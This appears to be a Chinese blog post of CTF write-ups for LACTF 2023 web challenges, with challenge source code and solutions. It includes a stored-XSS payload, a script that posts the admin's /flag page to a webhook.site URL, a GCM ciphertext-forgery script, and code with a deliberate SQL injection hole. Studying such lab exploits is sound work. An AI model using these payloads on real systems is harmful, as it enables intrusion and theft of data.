tags: CTF
文章目录
LACTF
前言
基于每天都需要进行一些代码审计的练习原则,所以就来看看这个CTF中都存在什么代码审计题目吧。未完待续,等我的更新。
WEB
85_reasons_why
题目描述
If you wanna catch up on ALL the campus news, check out my new blog. It even has a reverse image search feature!
85-reasons-why.lac.tf
init.py
import os
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from dotenv import load_dotenv
load_dotenv()
basedir = os.path.abspath(os.path.dirname(__file__))
app = Flask(__name__)
app.config['SECRET_KEY'] = os.getenv('SECRET_KEY')
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'app.db') + '?mode=ro'
db = SQLAlchemy(app)
from app import views
app.config.from_object(__name__)
with app.app_context():
db.create_all()
models.py
from app import db
from datetime import datetime
import uuid
import json
class Post(db.Model):
__tablename__ = 'posts'
id = db.Column(db.String(36), primary_key=True)
title = db.Column(db.String(200), nullable=False)
content = db.Column(db.String(), nullable=False)
author = db.Column(db.String(200), nullable=False)
date = db.Column(db.String(20), nullable=False)
active = db.Column(db.Boolean(), nullable=False)
images = db.relationship("Image", backref="post", uselist=True)
comments = db.relationship("Comment", backref="post", uselist=True)
def __init__(self, title, content, author):
self.id = str(uuid.uuid4())
self.title = title
self.content = content
self.author = author
self.date = datetime.now().strftime("%m-%d-%Y, %H:%M:%S")
self.active = True
class Comment(db.Model):
__tablename__ = 'comments'
id = db.Column(db.String(36), primary_key=True)
author = db.Column(db.String(144), nullable=False)
comment = db.Column(db.String(144), nullable=False)
parent = db.Column(db.String(), db.ForeignKey("posts.id"), nullable=False)
def __init__(self, author, comment):
self.id = str(uuid.uuid4())
self.author = author
self.comment = comment
def __repr__(self):
return f'<Comment {self.comment}>'
class Image(db.Model):
__tablename__ = 'images'
id = db.Column(db.String(36), primary_key=True)
b85_image = db.Column(db.String(1000000))
parent = db.Column(db.String(), db.ForeignKey("posts.id"), nullable=False)
def __init__(self, b85_image):
self.id = str(uuid.uuid4())
self.b85_image = b85_image
def __repr__(self):
return f'<Image {self.id}>'
utils.py
import base64
import re
from app.models import Image
# def escape(b_string):
# re.sub()
# pass
def serialize_image(pp):
b85 = base64.a85encode(pp)
b85_string = b85.decode('UTF-8', 'ignore')
# identify single quotes, and then escape them
b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
b85_string = re.sub('\'', '\'\'', b85_string)
b85_string = re.sub('~', '\'', b85_string)
b85_string = re.sub('\\:', '~', b85_string)
return b85_string
def deserialize_image(b85):
ret = b85
ret = re.sub('~', ':', b85)
raw_image = base64.a85decode(ret)
b64 = base64.encodebytes(raw_image).decode('UTF-8')
return 'data:image/png;base64, ' + b64
def deserialize_images(post):
ret = []
for i in range(len(post.images)):
# It's no longer b85 but oh well
ret.append(deserialize_image(post.images[i].b85_image))
return ret
views.py
from flask import render_template, request, redirect, url_for, flash, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from sqlalchemy import or_, text
from app import app, db
from .models import Post, Image
from .utils import serialize_image, deserialize_images
import os
MAX_IMAGE_SIZE = 1000000
limiter = Limiter (
get_remote_address,
app=app,
default_limits=["360 per hour"],
storage_uri="memory://",
)
@app.route('/')
def home():
posts = db.session.query(Post).filter(Post.active == True).all()
return render_template('home.html', posts=posts[::-1])
@app.route('/about/')
def about():
return render_template('about.html')
@app.route('/posts', methods=['GET'])
def post():
p = db.session.query(Post).get(request.args['post_id'])
if p == None:
flash('invalid post')
return redirect(url_for('home'))
images = deserialize_images(p)
return render_template('post.html', post=p, images=images)
@app.route('/search')
def search():
if 'search-query' not in request.args:
return render_template('search.html', results=[])
query = request.args['search-query']
results = db.session.query(Post)\
.filter(or_(Post.content.contains(query), Post.title.contains(query)))\
.filter(Post.active).all()
return render_template('search.html', results=results)
@app.route('/image-search', methods=['GET', 'POST'])
def image_search():
if 'image-query' not in request.files or request.method == 'GET':
return render_template('image-search.html', results=[])
incoming_file = request.files['image-query']
size = os.fstat(incoming_file.fileno()).st_size
if size > MAX_IMAGE_SIZE:
flash("image is too large (50kb max)");
return redirect(url_for('home'))
spic = serialize_image(incoming_file.read())
try:
res = db.session.connection().execute(\
text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))
except Exception:
return ("SQL error encountered", 500)
results = []
for row in res:
post = db.session.query(Post).get(row[0])
if (post not in results):
results.append(post)
return render_template('image-search.html', results=results)
@app.errorhandler(404)
def page_not_found(error):
"""Custom 404 page."""
return render_template('404.html'), 404
metaverse
题目描述
Metaenter the metaverse and metapost about metathings. All you have to metado is metaregister for a metaaccount and you’re good to metago.
metaverse.lac.tf
You can metause our fancy new metaadmin metabot to get the admin to metaview your metapost!
源码:
又是经典的 express 框架,这里给出文档地址,每次做题我都边看代码边看文档 express 文档
相关函数
题目分析
在经过一次漫长的审计之后,总算有点头绪。
在 get 方式的路由 /friends 中可以返回某个用户的所有朋友的 username 和 displayname
所以现在的想法就是让管理员成为我们的朋友,然后直接访问以上路由就可以看到 flag。
添加朋友的路由在 post 的 /friend
这里会 post 一个 username,这个参数表示你想要添加的朋友的名字,代码会判断 username 的朋友中是否有 res.locals.user,如果没有就添加。但是关键的问题是我们要添加 admin 为我们的朋友,但是以上代码明显我们只能把自己加为自己的朋友,比如我们向这个路由传入 username=admin,这会导致管理员将我们加为朋友,但是在我们的朋友数组中依旧是没有管理员的,所以我们应该要通过某种方式来让管理员访问这个路由,然后把我们加为好友,最终我们自己去访问 get 的 /friends 路由就可以看到 flag。
那如何让管理员把我们加为好友呢?审计源码发现是存在一个 XSS 漏洞的,我们可以通过这个漏洞来做到这一点。
在题目页面有一个发表 metaposts 的方框,审计页面源代码
可以发现点击页面的 new metapost 按钮会触发以上的函数,从而向后端的 /post 路由提交一个 post 请求。
/post 路由对应的函数会返回一个随机的 id,并把我们提交的内容和这个 id 关联起来。
然后根据页面源码的 window.open(“/post/” + t); 语句我们会跳转到 以下路由函数
这里是直接用 上一步返回的 id 关联的内容作为渲染变量传入模板并直接输出给我们,所以这里存在一个明显的存储型 XSS 漏洞。所以我们在方框提交一个 XSS payload,让管理员加我们为好友即可。
<script>
fetch('/friend',{
method:'POST',
headers:{
"Content-type":'application/x-www-form-urlencoded'
},
body:'username=123'
})
</script>
提交之后会得到一个 url 链接,直接去题目给的 admin-bot 那里提交,然后管理员就会执行以上 js 代码,最后我们在自己的网页访问 /friends 就可以看到 flag 了。
uuid hell
一个暴力破解 uuid-1 的题目,相关知识点在 https://versprite.com/blog/universally-unique-identifiers/
思路
在已知 node 和 clockseq 的情况下,题目还给了一个 uuidv1,这使得我们可以进行 uuidv1 的暴力破解。
下面看看我的分析:
上图是一个 uuidV1 的典型示例,以上蓝色数字表示 node,紫色数字表示 clockseq,灰色的数字 1 表示 uuid 版本号,唯一不知道的是红色、黄色和绿色部分,这表示生成这个 uuid 时的时间戳。乍一看现在似乎是有15位16进制数未知,好像并不刻意爆破,然而关键地在于当我们访问题目时,其会告诉我们一个完整的 uuidV1 号:
当你在本地自己生成一个 uuidv1号时,你就会发现你的 uuidv1 号 和题目的 uuidv1 号十分相近,大概最多只有10个十六进制数有区别。
具体脚本可以看看国外师傅的,这里推荐两个我看的,虽然写的有些乱:
https://rluo.dev/writeups/web/lactf-web-uuid-hell
https://siunam321.github.io/ctf/LA-CTF-2023/Web/uuid-hell/
my-chemical-romance
这个题很傻杯,出题人是弄了一个和 git 差不多的版本控制系统让大家恢复过去的版本,太抽象了完全无用。
california-state-police
题目描述
Stop! You’re under arrest for making suggestive 3 letter acronyms!
california-state-police.lac.tf
Admin Bot (note: the adminpw cookie is HttpOnly and SameSite=Lax)
题目分析
注意一下题目的 CSP 策略
默认是不允许加载任何来源的任意资源,但是可以执行内联的 JS 脚本。
如果没有这个 CSP 限制,那常规的操作肯定是让管理员访问 /flag 然后拿到网页的回复,之后向我们的 vps 发送一个携带 cookie 的请求。但是题目描述中已经明确地告诉我们管理员的 cookie 是 HttpOnly 的,这意味着在前端无法通过 JS 拿到 Cookie。
首先是 SameSite Cookies
zero-trust
题目描述
EXP
<form method="post" id="theForm" action="/flag" target='bruh'>
<!-- Form body here -->
</form>
<script>
let w = window.open('','bruh');
document.getElementById('theForm').submit();
setTimeout(()=>{
document.location= `https://webhook.site/bdec584e-7d0e-41af-9dec-84eec09374e5?c=${w.document.body.innerHTML}`
},500);
</script>
zero-trust
题目描述
I was researching zero trust proofs in cryptography and now I have zero trust in JWT libraries so I rolled my own! That’s what zero trust means, right?
zero-trust.lac.tf
Note: the flag is in /flag.txt
const express = require("express");
const path = require("path");
const fs = require("fs");
const cookieParser = require("cookie-parser");
const crypto = require("crypto");
const port = parseInt(process.env.PORT) || 8080;
const key = crypto.randomBytes(32);
const app = express();
const lists = new Map();
setInterval(function () {
for (const file of fs.readdirSync("/tmp/pastestore")) {
if (Date.now() - fs.statSync("/tmp/pastestore/" + file).mtimeMs > 1000 * 60 * 60) {
fs.rmSync("/tmp/pastestore/" + file);
}
}
}, 60000);
function makeAuth(req, res, next) {
const iv = crypto.randomBytes(16);
const tmpfile = "/tmp/pastestore/" + crypto.randomBytes(16).toString("hex");
fs.writeFileSync(tmpfile, "there's no paste data yet!", "utf8");
const user = { tmpfile };
const data = JSON.stringify(user);
const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
const ct = Buffer.concat([cipher.update(data), cipher.final()]);
const authTag = cipher.getAuthTag();
res.cookie("auth", [iv, authTag, ct].map((x) => x.toString("base64")).join("."));
res.locals.user = user;
next();
}
function needsAuth(req, res, next) {
const auth = req.cookies.auth;
if (typeof auth !== "string") {
makeAuth(req, res, next);
return;
}
try {
const [iv, authTag, ct] = auth.split(".").map((x) => Buffer.from(x, "base64"));
const cipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
cipher.setAuthTag(authTag);
res.locals.user = JSON.parse(cipher.update(ct).toString("utf8"));
if (!fs.existsSync(res.locals.user.tmpfile)) {
makeAuth(req, res, next);
return;
}
} catch (err) {
makeAuth(req, res, next);
return;
}
next();
}
app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, "static")));
const template = fs.readFileSync("index.html", "utf8");
app.get("/", needsAuth, (req, res) => {
res.type("text/html").send(template.replace("$CONTENT", () => fs.readFileSync(res.locals.user.tmpfile, "utf8")));
});
app.post("/update", needsAuth, (req, res) => {
if (typeof req.body.content === "string") {
try {
fs.writeFileSync(res.locals.user.tmpfile, req.body.content.slice(0, 2048), "utf8");
} catch (err) {}
}
res.redirect("/");
});
app.listen(port, () => {
console.log(`Listening on port ${port}`);
});
分析
首先给出相关库文档:
- crypto 是 Node.js 的一个库:https://nodejs.org/api/crypto.html#cipherfinaloutputencoding
- fs 是 Node.js 的一个库:https://nodejs.org/api/fs.html#fsreaddirsyncpath-options
由于都是英文版,所以简单说说代码中几个函数是干啥的:
- createCipheriv 是使用给定的算法、密钥和初始向量实例化一个 Cipher 类对象
- cipher.update(data):用 data 更新此 cipher,在调用 final() 方法之前此方法可多次调用。我猜测这个方法表示加密的意思。
- cipher.final():一旦调用此方法,就意味着不可以再加密数据。我猜测这可能表示加密完成的意思。
- cipher.getAuthTag():文档说加密完成之后要调用这个方法。
- createDecipheriv:和 createCipheriv 类似,但是创建一个 Decipher 类对象
- setAuthTag:这个比较重要,贴出英文原图:
文档告诉我们当使用身份验证的加密模式时(目前Node支持 GCM、CCM、OCB、chacha20 等四种),decipher.setAuthTag() 方法被用于传入收到的鉴权标签。若没有提供标签或者密文被篡改,那么 decipher.final() 将会抛出异常,表明密文由于失败的身份验证应被丢弃。
最最重要的一点是当调用 用于 GMC 和 OCB 模式的 decipher.final()
方法之前一定要调用 decipher.setAuthTag() 方法。题目的代码压根就没调用过 final() 方法,WP 说这会导致不进行密文的身份验证,这意味着我们可以篡改密文!
坦白地说我对 GCM 是什么并不了解,但是出题人告诉我没有 auth tag check 的 GCM 仅仅是 CTR模式,这意味着加密算法变成了一个流密码加密。
代码中已经明确告知了加密数据的前一部分是 /tmp/pastes
,通过将密文截断为同长度的字节就可以拿到和这段明文相对应的密文,根据流密码加密原理,此时我们将密文异或上明文就可以得到密钥。这意味着我们可以加密任意一个明文,在本题我们肯定是想加密 {"tmpfile":"/flag.txt"}
import base64
test = b"RfRhJmZxvROE0rdLlUCij+6wbYtEAV/Fx0lATgy6fQK/z+wVfaDOW3MgzJ3c3PiRRO79m4gLit2/RLyeBTo="
t1 = base64.b64decode(test)[:23]
print(t1)
t2 = b'{"tmpfile":"/tmp/pastes'
from pwn import xor
key = xor(t1,t2)
m = b'{"tmpfile":"/flag.txt"}'
ans = xor(m,key)
print(ans)
print(base64.b64encode(ans))
Crypto
参考链接
官方:https://hackmd.io/@lamchcl/r1zQkbvpj
关于警察局那一题:https://github.com/uclaacm/lactf-archive/blob/master/2023/web/california-state-police/solve.txt